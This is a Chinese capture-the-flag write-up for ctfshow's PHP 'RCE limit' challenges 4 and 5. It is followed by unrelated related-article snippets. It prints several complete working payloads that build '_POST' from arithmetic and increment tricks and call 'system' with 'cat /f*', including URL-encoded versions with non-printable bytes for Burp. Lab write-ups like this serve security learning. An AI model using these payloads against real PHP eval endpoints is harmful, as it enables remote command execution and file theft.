ctfshow 每周大挑战 RCE极限挑战4、5

news2024/11/16 5:46:17

看过官方wp之后复现的,用的payload是自己后来写的,可能不如官方的看着清晰
有点强迫症似的在抠细节(x


目录

  • 挑战4
    • 最初的思路
    • 通过HackBar拿flag的写法
      • 写法一
      • 写法二
  • 挑战5
    • burp中的payload
  • 大佬们也太极限啦

挑战4

最初的思路

第4题的长度限制到了84以内,84这个数字还是蛮特别的,因为一开始想的是,在获取N用$_=(_/_._)[0]的前提下,后面的内容只在拼接S、T的时候用$__.=++$_,其他地方就常规来写(意思是不用再去思考怎么写能更短,后面也会说拼接S、T时可以更短哈),长度是90,其中有6处$__,如果能把双下划线改成单个字符,长度就正好是84了,而这可以通过在burp中将$__写成不可见字符如%ff来实现。

$_=(_/_._)[0];   //N
$__=++$_;        //$__和$_都是O
$__=++$_.$__;    //$__是PO $_是P 这里最初实在没想到怎么才能更短
++$_;++$_;       //Q、R
$__.=++$_;       //POS
$__.=++$_;       //POST
$_=_.$__;        //_POST
$$_[0]($$_[_]);  //_POST[0](_POST[_]);

上面这种思路对应的完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[0]($$_[_]);&0=system&_=cat /f*

长度只计算$_=(_/_._)[0];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[0]($$_[_]);这部分的长度,这种写法的长度是90,超过了84,因此会执行phpinfo();
执行phpinfo();
在burp中将paylaod中的$__修改成不可见字符%ff就可以拿到flag
burp中执行
burp里的paylaod是

ctf_show=%24_%3D%28_%2F_._%29%5B0%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D%2B%2B%24_.%24%ff%3B%2B%2B%24_%3B%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24_%3D_.%24%ff%3B%24%24_%5B0%5D%28%24%24_%5B_%5D%29%3B&0=system&_=cat+%2Ff*

然后就默默在心里下了个结论,觉得这题得靠burp替换$__为%ff才能拿flag,出题人也太坏了,让人还得打开burp才能做题(我瞎想的 我瞎想的 我瞎想的)

通过HackBar拿flag的写法

写法一

好在后来突然想到,拼接S、T的时候完全可以更短啊,因为S、T相邻而且在PO之后,完全可以用$__.=++$_.++$_,这样长度就减少了5,但是85还是比84长了1,又想到最后拼接_的操作也能写得更短,比如在拼接PO的时候就拼接_,即用$__=_.++$_.$__获得_PO,后面不再写$_=_.$__;,长度能减少7,最后得到_POST的变量是$__,拼接的时候直接就用$__,双下划线会比单下划线长点,但是问题不大因为只长了2,总体长度减少了5+7-2=10,长度为80,小于84,可以通过借助HackBar传参来获得flag啦

$_=(_/_._)[0];   //N
$__=++$_;        //$__和$_都是O
$__=_.++$_.$__;    //_PO
++$_;++$_;       //Q、R
$__.=++$_.++$_;       //_POST
$$__[0]($$__[_]);  //_POST[0](_POST[_]);

上面这种思路对应的完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

这样就可以借助HackBar拿到flag
在浏览器获得flag

写法二

然后肯定也会好奇,如果最后拼接的时候,用的变量是单下划线的话,长度是多少,结果一看一样,也是80,就是在拼接前把$__.=++$_.++$_;改成$_=$__.++$_.++$_;,这样长度增加了2,然后后面拼接时候长度又能减少2,总长度依然是80
完整payload

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$_=$__.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /f*

同样可以通过HackBar拿flag
借助hackbar的执行结果
我们再回过头来看看【写法一】,即

ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

这里面有6处$__,如果把双下划线都换成单个字符,那长度就能再减少6,变成74个字符(这里提这个是为后续做铺垫)

挑战5

限制条件和增加条件
将长度限制到了73,数字0也不可以用了,用上一题的paylaod长度超了会触发执行phpinfo();

但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)[1]
[1]参考自官方wp:
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah

既然gettext扩展支持函数_(),且数组下标不用数字而是用未定义常量也可以,那么获取N的语句最终可以写成$_=_(_/_)[%fe];

因为要用到不可见字符,这题怎么也得借助burp了(其实也不是非得打开burp

为了方便在burp里修改payload的内容,先在浏览器端的HackBar里写下面这个paylaod,执行

ctf_show=$_=_(_/_)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*

浏览器端执行

然后因为长度超了73,会执行phpinfo();
但是没关系,可以用burp抓到这个包,然后放到Repeater修改一下请求包里ctf_show的值,这里我把0都换成%fe,把双下划线都换成%ff
因为在挑战4的最后我说了,把双下划线换成单个不可见字符可以让长度为74,用不可见字符代替0不会影响长度,而一开始获取字母N用$_=_(_/_)[%fe];比用$_=(_/_._)[0];少一个字符,所以现在长度刚好73

burp中的payload

下面给出在burp中用的payload如下:

ctf_show=%24_%3D_%28_%2F_%29%5B%fe%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D_.%2B%2B%24_.%24%ff%3B%24_%2B%2B%3B%24_%2B%2B%3B%24%ff.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24%ff%5B%fe%5D%28%24%24%ff%5B_%5D%29%3B&%fe=system&_=cat+%2Ff*

可以看到返回包中出现了flag
获得flag

大佬们也太极限啦

最后想说,看官方wp知道还可以更短,真没想到拼接得到PO的时候居然还有更短的写法哎!
可以把原本的$__=++$_;$__=++$_.$__;
写成++$_;$__=$_.$_++;
这里这样写的话,就只能拼接PO,不能再拼接前面的_
至于原因,官方wp上是这么描述的:
官方wp截图

_留到后面再拼接就行,这里结合一下上面的【写法二】的写法,最后用$_作为_POST

$_=_(_/_)[0];  //N
++$_;  //O
$__=$_.$_++;  //从结果来看是先执行了$_++,执行后$_值变成P,再拼接二者得到PO,但这里不能拼接成_PO
$_++;$_++;  //Q、R
$_=_.$__.++$_.++$_;  //_POST
$$_[0]($$_[_]);

长度74,有两处双下划线,改成一位不可见字符长度又能减少2,所以在burp中可以缩短到72位

这里我用挑战4的环境测试的,发现挑战4其实也可以用gettext,所以挑战4在HackBar里也能用长度74的写法来拿flag:
挑战4环境也可以用gettext
这里用的完整payload:

ctf_show=$_=_(_/_)[0];++$_;$__=$_.$_++;$_++;$_++;$_=_.$__.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /f*

在burp中替换两处双下划线为%ff:
burp中的执行结果
burp中的payload:

ctf_show=%24_%3D_%28_%2F_%29%5B0%5D%3B%2B%2B%24_%3B%24%ff%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24%ff.%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B0%5D%28%24%24_%5B_%5D%29%3B&0=system&_=cat+%2Ff*

你以为这就完了?不,还可以更短,还有68位的写法
这里我就纯纯复制粘贴官方wp的内容了哈,做个记录
构造过程:

$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

第三行可以分开来看,php在执行的时候会先对方括号里面的内容进行解析

$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])

总之是太巧妙了,我根本不可能想到
带着好奇心去php在线工具执行了一下拼接_POST的操作,确实也可以,报错一堆堆忽略了就好~
php在线工具验证

burp中的payload:

ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f*

然后自己复制粘贴payload去用挑战4(懒得再去开5了于是用的4)的环境试了一下,也是可以的
burp执行结果
再一看长度,好家伙,即使换成我习惯的下划线、双下划线的写法,长度刚刚好73啊,挑战5也可以不用burp了(最终还是又开了5的环境用hackbar试了)
挑战5也可以不用burp
我用的payload:

ctf_show=$_=_(_/_)[_];$__=++$_;$$__[$__=_.++$_.$__[$_++/$_++].++$_.++$_]($$__[_]);&_POST=system&_=cat /f*

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/594029.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UM2082F08 125k三通道低频无线唤醒ASK接收功能的SOC芯片 汽车PKE钥匙

1产品描述 UM2082F08是基于单周期8051内核的超低功耗8位、具有三通道低频无线唤醒ASK接收功能的SOC芯片。芯片可检测30KHz~300KHz范围的LF (低频)载波频率数据并触发唤醒信号,同时可以调节接收灵敏度,确保在各种应用环境下实现可靠唤醒,其拥…

母婴健康老人护理医护上门陪诊产后恢复预约上门小程序源码

母婴健康老人护理医护上门陪诊产后恢复预约上门小程序 在线预约 上门打针 产后恢复 会员卡 余额充值 优惠券 分销商 unippthinkphp <template> <view class"container" :style"{background:pagebase.base.bc}"> <Pengp…

Django+Vue实现文件上传下载功能

目录 前言 上传功能 后端代码 前端代码 下载功能 后端代码 前端代码 前言 首先我要实现的页面效果是这样的 当点击上传文件按钮&#xff0c;弹出上传文件的弹出框&#xff0c;可以上传多个文件&#xff0c;点击确定后才正式开始上传 点击右侧下载按钮&#xff0c;可以直…

springboot中将logback切换为log4j2

前言 springboot默认使用logback作为日志记录框架&#xff0c;常见的日志记录框架有log4j、logback、log4j2。这篇文章我们来学习怎样将logbak替换为log4j2。 一、为什么使用log4j2&#xff1f; 我们在项目中经常使用一个叫SLF4J的依赖&#xff0c;它是做什么的呢&#xff1f; …

Java 实现在顺序表末尾插入一个元素

一、思路 1.因为我们是用数组实现的顺序表&#xff0c;因此首先要保证数组有足够的空间来进行插入元素. 2.如果数组满了就需要将数组扩容&#xff0c;没满就开始插入. 3.当前数组中的元素个数就是每一次要插入的末尾位置的下标. 4.定义一个 usedSize 来表示当前的元素个数. 5.插…

Pandas+ChatGPT强强结合诞生PandasAI,数据分析师行业要变天了?

大家好&#xff0c;我是千与千寻&#xff0c;可以叫我千寻&#xff0c;我自己主要的编程语言是Python和Java。 说到Python编程语言&#xff0c;使用Python语言主要使用的是数据科学领域的从业者。 Python编程语言之所以在数据科学领域十分火热&#xff0c;源于Python语言的三…

9.Ansible Conditions介绍

Ansible条件语句 1)上面的例子在不同的机器上安装nginx&#xff0c;不同的操作系统风格使用不同的软件包管理器&#xff61;debian使用APT, Red Hat使用Yum, 但这是两个独立的Playbook,您必须为各自的服务器使用正确的剧本&#xff61; 可以使用条件语句&#xff0c;将这两个P…

Mongodb在Linux下载安装及部署

前言 一、下载安装包 Mongodb官网&#xff1a;Download MongoDB Community Server | MongoDB 二、安装及配置 博主下载的安装包是&#xff1a;mongodb-linux-x86_64-rhel70-6.0.6.tgz 新建目录 # 进入 usr 文件夹 cd /usr# 新建 mongodb 文件夹 mkdir mongodb# 进入 mongodb …

如何自学成为黑客

学习路线 不BB&#xff0c;直接上干货。 学完下面的内容&#xff0c;绝对可以进入黑客圈。 文末有福利噢&#xff01; 第一步&#xff1a;计算机基础 了解计算机基本常识&#xff0c;常用软件使用。需要学会基本使用的软件或技术有&#xff1a;Word、VMware、VPN、Visual St…

快速实现工程化部署,亚马逊云科技为AIGC产品化提供可靠基础

本文将以Stable Diffusion Quick Kit在亚马逊云科技Amazon SageMaker上的部署来介绍Stable Diffusion模型基础知识&#xff0c;HuggingFace Diffusers接口&#xff0c;以及如何使用Quick Kit在SageMaker Endpoint上快速部署推理服务。 Stable Diffusion模型 2022年由Stability…

自己拍摄的视频剪辑时如何消音?

由于录制环境的影响&#xff0c;有时制作出来的视频原始声音可能无法达到令人满意的效果&#xff0c;可能有噪声存在。这个时候&#xff0c;就应该先消除视频原始声音&#xff0c;然后后期再去给视频添加配音。有哪些适合给自己拍摄的视频调为静音的方法&#xff0c;来看看有哪…

详解 Windows 10 安装 CUDA 和 CUDNN

目录 查看本机 Window 10 系统已经安装 NIVIDIA 的驱动版本说在前面查看驱动版本 CUDA下载直接下载最新的 CUDA下载历史版本的 CUDA 安装测试 CUDNN下载 下载最新版本的 cuDNN下载历史版本的 cuDNN, 如: cuDNN 12.0安装 关于添加系统环境变量的问题 ⭐️⭐️说在前面!!! 建议 先…

平均年薪20W,自动化测试工程师这么吃香?

自动化测试工程师&#xff0c;平均年薪20w绝对不是空穴来凤&#xff0c;甚至我还说少了&#xff0c;加上年终奖和奖金等等年薪可能还不止20w这个水平&#xff0c;让我们看看下方截图&#xff0c;【来自于职友集】 本篇文章将由以下4个部分来展开&#xff1a; 1. 什么是自动化测…

PaddleClas初体验

PaddleClas初体验 该包是由百度PaddlePaddle组织下开源的项目&#xff0c;主要用于图像分类&#xff0c;图像搜索等相关任务。 项目地址&#xff1a; https://github.com/PaddlePaddle/PaddleClashttps://pypi.org/project/paddleclas 主要构件&#xff1a; PP-ShiTu&…

企业的数据信息值钱吗?如何提升数据信息的价值?

越来越多的企业也将数据视为转型发展、重塑竞争优势和提升组织治理能力的重要战略资产&#xff0c;并对这一重要资产进行系统性、体系化的管理&#xff0c;以便充分挖掘数据的战略、战术价值。鉴于此&#xff0c;对数据资产进行体全面盘点、构建企业级的数据资产目录成为了数据…

aigc分享

AIGC技术分享 AIGC概述 AIGC的概念、应用场景和发展历程 机器学习基础 机器学习的基本概念、分类和常用算法&#xff0c;如线性回归、决策树、支持向量机、神经网络等。 深度学习基础 深度学习的基本概念、分类和常用算法&#xff0c;如卷积神经网络、循环神经网络、自编…

面试专题:java多线程(2)-- 线程池

1.为什么要用线程池&#xff1f; 线程池提供了一种限制和管理资源&#xff08;包括执行一个任务&#xff09;。 每个线程池还维护一些基本统计信息&#xff0c;例如已完成任务的数量。 这里借用《Java并发编程的艺术》提到的来说一下使用线程池的好处&#xff1a; 降低资源消…

【嵌入式烧录/刷写文件】-1.6-剪切/保留Motorola S-record(S19/SREC/mot/SX)文件中指定地址范围内的数据

案例背景&#xff1a; 有如下一段S19文件&#xff0c;保留地址范围0x9140-0x91BF内的数据&#xff0c;删除地址范围0x9140-0x91BF外的数据。 S0110000486578766965772056312E30352EA6 S123910058595A5B5C5D5E5F606162636465666768696A6B6C6D6E6F70717273747576775B S12391207…

如何判断一个点是否在凸多边形内 - golang

判断一个点是否在凸多边形内的方法很多&#xff0c;此处仅给出使用向量叉积法判断点是否在凸多边形内的方法。 以下图为例说明问题&#xff1a; 原理&#xff1a; 1. 将多边形的第 i 条边的第一个顶点指向点 P 得到向量 v1&#xff0c;然后将从第一个顶点指向第二个顶点得到向…